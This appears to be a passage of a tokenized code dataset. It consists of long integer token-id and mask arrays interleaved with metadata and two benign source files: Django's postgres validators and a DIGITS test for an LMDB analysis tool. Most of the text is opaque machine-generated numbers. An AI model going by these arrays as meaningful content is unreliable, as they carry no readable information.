3215,
14,
409,
360,
585,
18,
297,
1616,
9,
267,
291,
14,
629,
8,
277,
14,
3215,
14,
585,
12,
283,
585,
18,
358,
267,
291,
14,
629,
8,
277,
14,
3215,
14,
6693,
12,
1616,
9,
339,
347,
511,
63,
409,
63,
2003,
63,
6693,
8,
277,
304,
267,
291,
14,
3215,
14,
409,
360,
585,
18,
297,
378,
9,
267,
291,
14,
629,
8,
277,
14,
3215,
14,
585,
12,
283,
585,
358,
267,
291,
14,
629,
8,
277,
14,
3215,
14,
6693,
12,
1616,
9,
421,
199,
533,
13303,
774,
8,
2796,
14,
1746,
304,
339,
340,
3816,
14,
4521,
19,
26,
267,
702,
7412,
591,
275,
2882,
14,
1746,
14,
30993,
339,
347,
3613,
8,
277,
304,
267,
291,
14,
1751,
275,
13303,
342,
339,
768,
1805,
14,
2068,
14,
807,
360,
26442,
14,
1751,
14,
13931,
63,
20076,
726,
19144,
297,
791,
885,
356,
1616,
1552,
272,
768,
1805,
14,
2068,
360,
26442,
14,
1751,
14,
885,
63,
1751,
297,
849,
63,
1751,
9,
272,
347,
511,
63,
2747,
63,
4322,
8,
277,
304,
267,
2202,
275,
13303,
342,
267,
291,
14,
629,
8,
552,
8,
1751,
14,
2987,
395,
413,
9,
267,
291,
14,
4080,
360,
2864,
63,
3472,
297,
2202,
14,
2987,
9,
398,
1921,
275,
2202,
14,
2987,
459,
2864,
63,
3472,
418,
267,
291,
14,
6926,
8,
962,
12,
13303,
1646,
9,
267,
291,
14,
629,
8,
962,
14,
585,
12,
283,
318,
585,
358,
267,
291,
14,
629,
8,
962,
14,
6693,
12,
1616,
9,
339,
768,
1805,
14,
2068,
14,
807,
360,
26442,
14,
1751,
14,
13931,
63,
20076,
726,
19144,
297,
5009,
272,
768,
1805,
14,
2068,
360,
26442,
14,
1751,
14,
885,
63,
1751,
297,
5009,
272,
347,
511,
63,
2747,
63,
1459,
8,
277,
304,
267,
2202,
275,
13303,
3252,
2864,
63,
13352,
356,
283,
585,
2267,
1616,
9,
267,
291,
14,
629,
8,
552,
8,
1751,
14,
2987,
395,
413,
9,
267,
291,
14,
4080,
360,
2864,
63,
13352,
297,
2202,
14,
2987,
9,
398,
1921,
275,
2202,
14,
2987,
459,
2864,
63,
13352,
418,
267,
291,
14,
6926,
8,
962,
12,
13303,
1646,
9,
267,
291,
14,
629,
8,
962,
14,
585,
12,
283,
585,
358,
267,
291,
14,
629,
8,
962,
14,
6693,
12,
1616,
9,
339,
347,
511,
63,
409,
63,
1222,
63,
3215,
8,
277,
304,
267,
291,
14,
1751,
14,
2987,
275,
1052,
267,
291,
14,
1751,
14,
409,
360,
2864,
63,
13352,
297,
283,
585,
297,
378,
9,
267,
291,
14,
4080,
360,
2864,
63,
13352,
297,
291,
14,
1751,
14,
2987,
9,
398,
1921,
275,
291,
14,
1751,
14,
2987,
459,
2864,
63,
13352,
418,
267,
291,
14,
6926,
8,
962,
12,
13303,
1646,
9,
267,
291,
14,
629,
8,
962,
14,
585,
12,
283,
585,
358,
267,
291,
14,
629,
8,
962,
14,
6693,
12,
378,
9,
339,
347,
511,
63,
409,
63,
842,
63,
5582,
63,
265,
63,
873,
8,
277,
304,
267,
1921,
275,
13303,
1646,
360,
585,
297,
378,
9,
267,
291,
14,
1751,
14,
2987,
275,
791,
2864,
63,
13352,
356,
1921,
93,
267,
291,
14,
1751,
14,
409,
360,
2864,
63,
13352,
297,
283,
1848,
585,
297,
1616,
9,
398,
291,
14,
4080,
360,
2864,
63,
13352,
297,
291,
14,
1751,
14,
2987,
9,
267,
291,
14,
3436,
8,
962,
12,
291,
14,
1751,
14,
2987,
459,
2864,
63,
13352,
1105,
339,
347,
511,
63,
409,
63,
5352,
63,
1751,
63,
2987,
63,
2474,
63,
265,
63,
873,
8,
277,
304,
267,
543,
1683,
14,
2068,
14,
785,
8,
5268,
1646,
12,
2560,
10202,
13766,
465,
1683,
63,
10202,
12,
971,
355,
1683,
14,
2068,
14,
785,
8,
5268,
1646,
12,
283,
409,
358,
465,
1683,
63,
409,
26,
953,
1921,
275,
13303,
1646,
360,
585,
297,
1616,
9,
288,
291,
14,
1751,
14,
2987,
275,
791,
2864,
63,
13352,
356,
1921,
93,
288,
1683,
63,
409,
14,
3958,
63,
1805,
342,
288,
1683,
63,
10202,
14,
3958,
63,
1805,
342,
953,
367,
7464,
315,
334,
16,
12,
1616,
12,
3388,
304,
355,
291,
14,
1751,
14,
409,
360,
2864,
63,
13352,
297,
283,
1848,
585,
297,
7464,
9,
355,
1683,
63,
409,
14,
479,
63,
3527,
63,
5089,
63,
1045,
360,
1848,
585,
297,
7464,
9,
355,
291,
14,
3334,
8,
1805,
63,
10202,
14,
3527,
9,
355,
1683,
63,
409,
14,
3958,
63,
1805,
342,
355,
1683,
63,
10202,
14,
3958,
63,
1805,
342,
339,
347,
511,
63,
409,
807,
63,
3620,
8,
277,
304,
267,
543,
1683,
14,
2068,
14,
785,
8,
277,
14,
1751,
12,
283,
409,
358,
465,
1683,
63,
409,
26,
288,
291,
14,
1751,
14,
409,
807,
3252,
2864,
63,
17,
356,
283,
585,
17,
297,
283,
2864,
63,
18,
356,
283,
585,
18,
2267,
1616,
9,
288,
291,
14,
629,
8,
1805,
63,
409,
14,
1250,
63,
835,
12,
499,
9,
288,
4882,
275,
359,
1805,
14,
1250,
360,
2864,
63,
17,
297,
283,
585,
17,
297,
1616,
395,
2151,
1683,
14,
1250,
360,
2864,
63,
18,
297,
283,
585,
18,
297,
1616,
1874,
288,
1683,
63,
409,
14,
479,
63,
1989,
63,
5352,
8,
5352,
12,
1263,
63,
1648,
29,
549,
9,
339,
347,
511,
63,
409,
578,
63,
2118,
63,
912,
63,
26831,
63,
2936,
8,
277,
304,
267,
1021,
5673,
3346,
837,
288,
27300,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
jarshwah/django
|
django/contrib/postgres/validators.py
|
115
|
2772
|
import copy
from django.core.exceptions import ValidationError
from django.core.validators import (
MaxLengthValidator, MaxValueValidator, MinLengthValidator,
MinValueValidator,
)
from django.utils.deconstruct import deconstructible
from django.utils.translation import ugettext_lazy as _, ungettext_lazy
class ArrayMaxLengthValidator(MaxLengthValidator):
message = ungettext_lazy(
'List contains %(show_value)d item, it should contain no more than %(limit_value)d.',
'List contains %(show_value)d items, it should contain no more than %(limit_value)d.',
'limit_value')
class ArrayMinLengthValidator(MinLengthValidator):
message = ungettext_lazy(
'List contains %(show_value)d item, it should contain no fewer than %(limit_value)d.',
'List contains %(show_value)d items, it should contain no fewer than %(limit_value)d.',
'limit_value')
@deconstructible
class KeysValidator(object):
"""A validator designed for HStore to require/restrict keys."""
messages = {
'missing_keys': _('Some keys were missing: %(keys)s'),
'extra_keys': _('Some unknown keys were provided: %(keys)s'),
}
strict = False
def __init__(self, keys, strict=False, messages=None):
self.keys = set(keys)
self.strict = strict
if messages is not None:
self.messages = copy.copy(self.messages)
self.messages.update(messages)
def __call__(self, value):
keys = set(value.keys())
missing_keys = self.keys - keys
if missing_keys:
raise ValidationError(
self.messages['missing_keys'],
code='missing_keys',
params={'keys': ', '.join(missing_keys)},
)
if self.strict:
extra_keys = keys - self.keys
if extra_keys:
raise ValidationError(
self.messages['extra_keys'],
code='extra_keys',
params={'keys': ', '.join(extra_keys)},
)
def __eq__(self, other):
return (
isinstance(other, self.__class__) and
self.keys == other.keys and
self.messages == other.messages and
self.strict == other.strict
)
def __ne__(self, other):
return not (self == other)
class RangeMaxValueValidator(MaxValueValidator):
def compare(self, a, b):
return a.upper > b
message = _('Ensure that this range is completely less than or equal to %(limit_value)s.')
class RangeMinValueValidator(MinValueValidator):
def compare(self, a, b):
return a.lower < b
message = _('Ensure that this range is completely greater than or equal to %(limit_value)s.')
|
bsd-3-clause
|
[
646,
1331,
199,
199,
504,
1639,
14,
1018,
14,
3924,
492,
8505,
199,
504,
1639,
14,
1018,
14,
11346,
492,
334,
272,
8228,
4625,
8640,
12,
8228,
1110,
8640,
12,
10195,
4625,
8640,
12,
272,
10195,
1110,
8640,
12,
199,
9,
199,
504,
1639,
14,
1208,
14,
23693,
492,
477,
388,
9853,
21602,
199,
504,
1639,
14,
1208,
14,
6893,
492,
10366,
63,
6395,
465,
5501,
26843,
63,
6395,
421,
199,
533,
8725,
4261,
4625,
8640,
8,
4261,
4625,
8640,
304,
272,
1245,
275,
26843,
63,
6395,
8,
267,
283,
1296,
3509,
2818,
2384,
63,
585,
9,
68,
1242,
12,
652,
1077,
1395,
949,
1655,
2419,
2818,
3097,
63,
585,
9,
68,
3130,
267,
283,
1296,
3509,
2818,
2384,
63,
585,
9,
68,
2974,
12,
652,
1077,
1395,
949,
1655,
2419,
2818,
3097,
63,
585,
9,
68,
3130,
267,
283,
3097,
63,
585,
358,
421,
199,
533,
8725,
4649,
4625,
8640,
8,
4649,
4625,
8640,
304,
272,
1245,
275,
26843,
63,
6395,
8,
267,
283,
1296,
3509,
2818,
2384,
63,
585,
9,
68,
1242,
12,
652,
1077,
1395,
949,
27392,
2419,
2818,
3097,
63,
585,
9,
68,
3130,
267,
283,
1296,
3509,
2818,
2384,
63,
585,
9,
68,
2974,
12,
652,
1077,
1395,
949,
27392,
2419,
2818,
3097,
63,
585,
9,
68,
3130,
267,
283,
3097,
63,
585,
358,
421,
199,
32,
271,
388,
9853,
21602,
199,
533,
17276,
8640,
8,
785,
304,
272,
408,
33,
11822,
19829,
367,
869,
5502,
370,
4409,
15,
22188,
2883,
1041,
339,
3788,
275,
469,
267,
283,
4752,
63,
1612,
356,
4018,
7700,
2883,
4898,
4124,
26,
2818,
1612,
9,
83,
659,
267,
283,
2911,
63,
1612,
356,
4018,
7700,
5809,
2883,
4898,
2741,
26,
2818,
1612,
9,
83,
659,
272,
789,
272,
7478,
275,
756,
339,
347,
636,
826,
721,
277,
12,
2883,
12,
7478,
29,
797,
12,
3788,
29,
403,
304,
267,
291,
14,
1612,
275,
663,
8,
1612,
9,
267,
291,
14,
4768,
275,
7478,
267,
340,
3788,
365,
440,
488,
26,
288,
291,
14,
3431,
275,
1331,
14,
1574,
8,
277,
14,
3431,
9,
288,
291,
14,
3431,
14,
873,
8,
3431,
9,
339,
347,
636,
1250,
721,
277,
12,
574,
304,
267,
2883,
275,
663,
8,
585,
14,
1612,
1012,
267,
4124,
63,
1612,
275,
291,
14,
1612,
446,
2883,
267,
340,
4124,
63,
1612,
26,
288,
746,
8505,
8,
355,
291,
14,
3431,
459,
4752,
63,
1612,
995,
355,
1233,
534,
4752,
63,
1612,
297,
355,
1862,
3713,
1612,
356,
1656,
1987,
904,
8,
4752,
63,
1612,
16658,
288,
776,
267,
340,
291,
14,
4768,
26,
288,
2402,
63,
1612,
275,
2883,
446,
291,
14,
1612,
288,
340,
2402,
63,
1612,
26,
355,
746,
8505,
8,
490,
291,
14,
3431,
459,
2911,
63,
1612,
995,
490,
1233,
534,
2911,
63,
1612,
297,
490,
1862,
3713,
1612,
356,
1656,
1987,
904,
8,
2911,
63,
1612,
16658,
355,
776,
339,
347,
636,
4077,
721,
277,
12,
1163,
304,
267,
372,
334,
288,
1228,
8,
1848,
12,
291,
855,
533,
3368,
436,
288,
291,
14,
1612,
508,
1163,
14,
1612,
436,
288,
291,
14,
3431,
508,
1163,
14,
3431,
436,
288,
291,
14,
4768,
508,
1163,
14,
4768,
267,
776,
339,
347,
636,
685,
721,
277,
12,
1163,
304,
267,
372,
440,
334,
277,
508,
1163,
9,
421,
199,
533,
13114,
4261,
1110,
8640,
8,
4261,
1110,
8640,
304,
272,
347,
6540,
8,
277,
12,
282,
12,
330,
304,
267,
372,
282,
14,
4142,
690,
330,
272,
1245,
275,
4018,
13913,
626,
642,
1425,
365,
14793,
6656,
2419,
503,
4472,
370,
2818,
3097,
63,
585,
9,
83,
2659,
421,
199,
533,
13114,
4649,
1110,
8640,
8,
4649,
1110,
8640,
304,
272,
347,
6540,
8,
277,
12,
282,
12,
330,
304,
267,
372,
282,
14,
2325,
665,
330,
272,
1245,
275,
4018,
13913,
626,
642,
1425,
365,
14793,
8932,
2419,
503,
4472,
370,
2818,
3097,
63,
585,
9,
83,
2659,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1331,
199,
199,
504,
1639,
14,
1018,
14,
3924,
492,
8505,
199,
504,
1639,
14,
1018,
14,
11346,
492,
334,
272,
8228,
4625,
8640,
12,
8228,
1110,
8640,
12,
10195,
4625,
8640,
12,
272,
10195,
1110,
8640,
12,
199,
9,
199,
504,
1639,
14,
1208,
14,
23693,
492,
477,
388,
9853,
21602,
199,
504,
1639,
14,
1208,
14,
6893,
492,
10366,
63,
6395,
465,
5501,
26843,
63,
6395,
421,
199,
533,
8725,
4261,
4625,
8640,
8,
4261,
4625,
8640,
304,
272,
1245,
275,
26843,
63,
6395,
8,
267,
283,
1296,
3509,
2818,
2384,
63,
585,
9,
68,
1242,
12,
652,
1077,
1395,
949,
1655,
2419,
2818,
3097,
63,
585,
9,
68,
3130,
267,
283,
1296,
3509,
2818,
2384,
63,
585,
9,
68,
2974,
12,
652,
1077,
1395,
949,
1655,
2419,
2818,
3097,
63,
585,
9,
68,
3130,
267,
283,
3097,
63,
585,
358,
421,
199,
533,
8725,
4649,
4625,
8640,
8,
4649,
4625,
8640,
304,
272,
1245,
275,
26843,
63,
6395,
8,
267,
283,
1296,
3509,
2818,
2384,
63,
585,
9,
68,
1242,
12,
652,
1077,
1395,
949,
27392,
2419,
2818,
3097,
63,
585,
9,
68,
3130,
267,
283,
1296,
3509,
2818,
2384,
63,
585,
9,
68,
2974,
12,
652,
1077,
1395,
949,
27392,
2419,
2818,
3097,
63,
585,
9,
68,
3130,
267,
283,
3097,
63,
585,
358,
421,
199,
32,
271,
388,
9853,
21602,
199,
533,
17276,
8640,
8,
785,
304,
272,
408,
33,
11822,
19829,
367,
869,
5502,
370,
4409,
15,
22188,
2883,
1041,
339,
3788,
275,
469,
267,
283,
4752,
63,
1612,
356,
4018,
7700,
2883,
4898,
4124,
26,
2818,
1612,
9,
83,
659,
267,
283,
2911,
63,
1612,
356,
4018,
7700,
5809,
2883,
4898,
2741,
26,
2818,
1612,
9,
83,
659,
272,
789,
272,
7478,
275,
756,
339,
347,
636,
826,
721,
277,
12,
2883,
12,
7478,
29,
797,
12,
3788,
29,
403,
304,
267,
291,
14,
1612,
275,
663,
8,
1612,
9,
267,
291,
14,
4768,
275,
7478,
267,
340,
3788,
365,
440,
488,
26,
288,
291,
14,
3431,
275,
1331,
14,
1574,
8,
277,
14,
3431,
9,
288,
291,
14,
3431,
14,
873,
8,
3431,
9,
339,
347,
636,
1250,
721,
277,
12,
574,
304,
267,
2883,
275,
663,
8,
585,
14,
1612,
1012,
267,
4124,
63,
1612,
275,
291,
14,
1612,
446,
2883,
267,
340,
4124,
63,
1612,
26,
288,
746,
8505,
8,
355,
291,
14,
3431,
459,
4752,
63,
1612,
995,
355,
1233,
534,
4752,
63,
1612,
297,
355,
1862,
3713,
1612,
356,
1656,
1987,
904,
8,
4752,
63,
1612,
16658,
288,
776,
267,
340,
291,
14,
4768,
26,
288,
2402,
63,
1612,
275,
2883,
446,
291,
14,
1612,
288,
340,
2402,
63,
1612,
26,
355,
746,
8505,
8,
490,
291,
14,
3431,
459,
2911,
63,
1612,
995,
490,
1233,
534,
2911,
63,
1612,
297,
490,
1862,
3713,
1612,
356,
1656,
1987,
904,
8,
2911,
63,
1612,
16658,
355,
776,
339,
347,
636,
4077,
721,
277,
12,
1163,
304,
267,
372,
334,
288,
1228,
8,
1848,
12,
291,
855,
533,
3368,
436,
288,
291,
14,
1612,
508,
1163,
14,
1612,
436,
288,
291,
14,
3431,
508,
1163,
14,
3431,
436,
288,
291,
14,
4768,
508,
1163,
14,
4768,
267,
776,
339,
347,
636,
685,
721,
277,
12,
1163,
304,
267,
372,
440,
334,
277,
508,
1163,
9,
421,
199,
533,
13114,
4261,
1110,
8640,
8,
4261,
1110,
8640,
304,
272,
347,
6540,
8,
277,
12,
282,
12,
330,
304,
267,
372,
282,
14,
4142,
690,
330,
272,
1245,
275,
4018,
13913,
626,
642,
1425,
365,
14793,
6656,
2419,
503,
4472,
370,
2818,
3097,
63,
585,
9,
83,
2659,
421,
199,
533,
13114,
4649,
1110,
8640,
8,
4649,
1110,
8640,
304,
272,
347,
6540,
8,
277,
12,
282,
12,
330,
304,
267,
372,
282,
14,
2325,
665,
330,
272,
1245,
275,
4018,
13913,
626,
642,
1425,
365,
14793,
8932,
2419,
503,
4472,
370,
2818,
3097,
63,
585,
9,
83,
2659,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
jmancewicz/DIGITS
|
tools/test_analyze_db.py
|
4
|
1510
|
# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
import os.path
import shutil
import tempfile
import caffe.io
import lmdb
import numpy as np
from . import analyze_db
# Must import after importing digits.config
import caffe_pb2
class BaseTestWithDB(object):
SAME_SHAPE = True
PASS_DEFAULTS = True
PASS_FORCE = True
PASS_COUNT = True
@classmethod
def setUpClass(cls):
cls._data_dir = tempfile.mkdtemp()
cls.db = lmdb.open(os.path.join(cls._data_dir, 'db'))
for i in xrange(2):
if cls.SAME_SHAPE:
width = 10
else:
width = 10+i
datum = cls.create_datum(10,width,3)
with cls.db.begin(write=True) as txn:
txn.put(str(i), datum.SerializeToString())
@classmethod
def tearDownClass(cls):
cls.db.close()
shutil.rmtree(cls._data_dir)
@staticmethod
def create_datum(*shape):
"""
Creates a datum with an image of the given shape
"""
image = np.ones(shape, dtype='uint8')
return caffe.io.array_to_datum(image)
def test_defaults(self):
assert analyze_db.analyze_db(self.db.path()) == self.PASS_DEFAULTS
def test_force_shape(self):
assert analyze_db.analyze_db(self.db.path(), force_same_shape=True) == self.PASS_FORCE
class TestSameShape(BaseTestWithDB):
pass
class TestDifferentShape(BaseTestWithDB):
SAME_SHAPE = False
PASS_FORCE = False
|
bsd-3-clause
|
[
3,
1898,
334,
67,
9,
6900,
13,
9261,
12,
653,
5437,
13033,
27072,
14,
221,
2900,
4481,
4644,
14,
199,
199,
646,
747,
14,
515,
199,
646,
5145,
199,
646,
5549,
199,
199,
646,
1704,
2026,
14,
2308,
199,
646,
24546,
697,
199,
646,
2680,
465,
980,
199,
199,
504,
1275,
492,
19897,
63,
697,
199,
199,
3,
9498,
492,
2410,
16306,
7576,
14,
888,
199,
646,
1704,
2026,
63,
3317,
18,
199,
199,
533,
3523,
774,
3007,
2846,
8,
785,
304,
272,
428,
1991,
63,
3234,
25380,
275,
715,
272,
21705,
63,
30773,
275,
715,
272,
21705,
63,
27240,
275,
715,
272,
21705,
63,
8760,
275,
715,
339,
768,
3744,
272,
347,
18561,
8,
1886,
304,
267,
843,
423,
576,
63,
694,
275,
5549,
14,
11983,
342,
267,
843,
14,
697,
275,
24546,
697,
14,
1490,
8,
736,
14,
515,
14,
904,
8,
1886,
423,
576,
63,
694,
12,
283,
697,
1333,
267,
367,
284,
315,
4945,
8,
18,
304,
288,
340,
843,
14,
19935,
63,
3234,
25380,
26,
355,
3462,
275,
1616,
288,
587,
26,
355,
3462,
275,
1616,
11,
73,
288,
18908,
275,
843,
14,
981,
63,
18945,
8,
709,
12,
2063,
12,
19,
9,
288,
543,
843,
14,
697,
14,
5037,
8,
952,
29,
549,
9,
465,
23883,
26,
355,
23883,
14,
524,
8,
495,
8,
73,
395,
18908,
14,
9436,
1012,
339,
768,
3744,
272,
347,
24468,
8,
1886,
304,
267,
843,
14,
697,
14,
1600,
342,
267,
5145,
14,
9242,
8,
1886,
423,
576,
63,
694,
9,
339,
768,
4639,
272,
347,
1218,
63,
18945,
2031,
1392,
304,
267,
408,
267,
10560,
282,
18908,
543,
376,
1834,
402,
314,
1627,
2215,
267,
408,
267,
1834,
275,
980,
14,
4548,
8,
1392,
12,
2152,
534,
1635,
24,
358,
267,
372,
